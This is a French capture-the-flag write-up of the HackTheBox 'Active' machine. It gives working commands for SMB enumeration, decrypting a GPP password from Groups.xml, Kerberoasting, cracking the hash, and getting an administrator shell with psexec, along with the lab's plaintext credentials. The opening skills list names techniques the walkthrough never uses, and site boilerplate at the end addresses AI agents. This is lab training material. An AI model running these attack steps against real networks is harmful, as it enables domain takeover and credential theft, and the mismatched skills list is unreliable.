> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Compte rendu HackTheBox de Active

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**Compétences**:

* Énumération SMB
* Crackage d’un fichier ZIP protégé par mot de passe (fcrackzip)
* Crackage et lecture d’un fichier .PFX (crackpkcs12)
* Obtention d’un accès SSL avec Evil-WinRM
* Fuite d’informations - Lecture de l’historique Powershell de l’utilisateur (pivotement utilisateur)
* Exploitation de LAPS pour obtenir des mots de passe (Get-LAPSPasswords.ps1) (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/7e3f04d7cfa9232d0fcb5807a05d805acd56e9f5" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/16d42ae3952a41403f0b2ff4a1f07a3f7aeae9ab" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="/files/62527d93fea749c6dbab77b420c4240387c1ea1d" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<div data-full-width="true"><figure><img src="/files/c1b6f0a7a9d71c94662e6cbef471e598548b5174" alt=""><figcaption></figcaption></figure></div>

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="/files/c30f10c630b94a5b65e14ae472be32edaafe0ef5" alt=""><figcaption></figcaption></figure>

## **Énumération et Exploitation :**

### **Énumération SMB:**

Utiliser crackmapexec pour lister les systèmes et trouver le nom de domaine.

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="/files/dc7287d6a3c73be7614aed8dfc8e6e354e1591cd" alt=""><figcaption></figcaption></figure>

#### **Ajustement de l'heure avec NTP :**

Ajuster l'heure de la machine cible pour éviter des problèmes

```bash
ntpdate 10.10.10.100
```

<figure><img src="/files/575bd91fb67c640d01a83eb6bdec2c4664d60361" alt=""><figcaption></figcaption></figure>

#### Configuration /etc/hosts :

Ajout du contrôleur de domaine au fichier hosts pour autoriser le ping :

<figure><img src="/files/936cd51a1bdd6187af8f6f4ca156bde234140545" alt=""><figcaption></figcaption></figure>

### **Liste des ressources partagées**

Utilisez smbclient ou smbmap pour explorer les ressources partagées sur le réseau.

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="/files/dced391befe9757ce072f2d09957b897bccba934" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="/files/af3a669e55c9b0b4034e3f6fa0bf7fa9edbd59d4" alt=""><figcaption></figcaption></figure>

### **Rechercher des fichiers spécifiques**:

Explorer les répertoires à la recherche de fichiers pertinents

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="/files/6ea5f8152491186a9cab730fe9d12ebd5dca4576" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="/files/c0b8a67f6724eb8ccda7f1f402205681d96d59eb" alt=""><figcaption></figcaption></figure>

Le `groups.xml` un fichier est identifié, qui peut contenir des informations confidentielles.

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="/files/5c3565f3907fe638d88ac07db4b349dad92fcf1a" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/5477916cd936c35e03e2f68676e8b946c3653ef9" alt=""><figcaption></figcaption></figure></div>

### **Déchiffrement du mot de passe :**

Utilisez `gpp-decrypt` pour déchiffrer les mots de passe stockés.

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="/files/50564aa843d7ae4493f52f4a7434b1a785468e2d" alt=""><figcaption></figcaption></figure>

### **Validation des identifiants :**

Utilisez crackmapexec pour vérifier si les identifiants sont valides

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="/files/571041f1bfdc9309fe35f5dad546d30567b249f6" alt=""><figcaption></figcaption></figure>

### **Exploration des autorisations :**

Utilisez crackmapexec et smbmap pour explorer les permissions sur les partages réseau.

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="/files/37775804d5320c05d2e0fa69c9e5b0ef2d844fce" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt obtenu :

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="/files/25e27e1164e11cc5d5392780d988799a8360ee40" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/60b329b7e649171c951d41b70017d1cb25ea401c" alt=""><figcaption></figcaption></figure>

### **Connexion au contrôleur de domaine :**

Utilisation de rpcclient pour se connecter au contrôleur de domaine et explorer les utilisateurs et les groupes :

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="/files/1473decfb334ff0f9cb9ec392fa34627c58411b5" alt=""><figcaption></figcaption></figure>

#### - Pour identifier les membres du groupe administrateurs :

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - Pour obtenir les utilisateurs d’un groupe spécifique :

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="/files/2edf9f558a4f58b5d2705b160e2f5d7998a35580" alt=""><figcaption></figcaption></figure>

#### - Pour lister les descriptions de tous les utilisateurs :

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="/files/07e516c9ca63506f0a1083ea93394fbe4987a509" alt=""><figcaption></figcaption></figure></div>

## Vulnérabilité [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

La vulnérabilité Kerberoast est exploitée avec succès grâce à la commande suivante :

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

Cette commande récupère un ticket de service du Ticket Granting Service (TGS) qui exploite la vulnérabilité.

Ensuite, pour obtenir le hash d’un administrateur, le paramètre -request est ajouté à la commande :

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="/files/c6ffe872d92b03807d93f321b201a6705a808546" alt=""><figcaption></figcaption></figure>

## **Exploitation finale :**

### **Cassage du hachage :**

Utilisez John pour essayer de craquer les hashs obtenus.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/97f226a25b32e294b0797eaaf6b35740cff54f71" alt=""><figcaption></figcaption></figure>

### **Validation des identifiants :**

Utilisez crackmapexec pour valider les identifiants obtenus

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="/files/2f6cdb2929fc4c83c5a80125a236e0d355a3fe2a" alt=""><figcaption></figcaption></figure></div>

### **Exécution de Psexec :**

Utilisez psexec.py pour obtenir un shell interactif en tant qu’administrateur.

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/bee5ea810b5cf497e95f3f326f5894557af5517d" alt=""><figcaption></figcaption></figure>

### **Drapeau final obtenu :**

Obtention réussie du drapeau final une fois l’accès administrateur acquis.

<figure><img src="/files/95daf134b05373743d1aee392e9a9ae57b23d07d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8d85de705e25c39bd4f9d9adcea4c265761990e8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
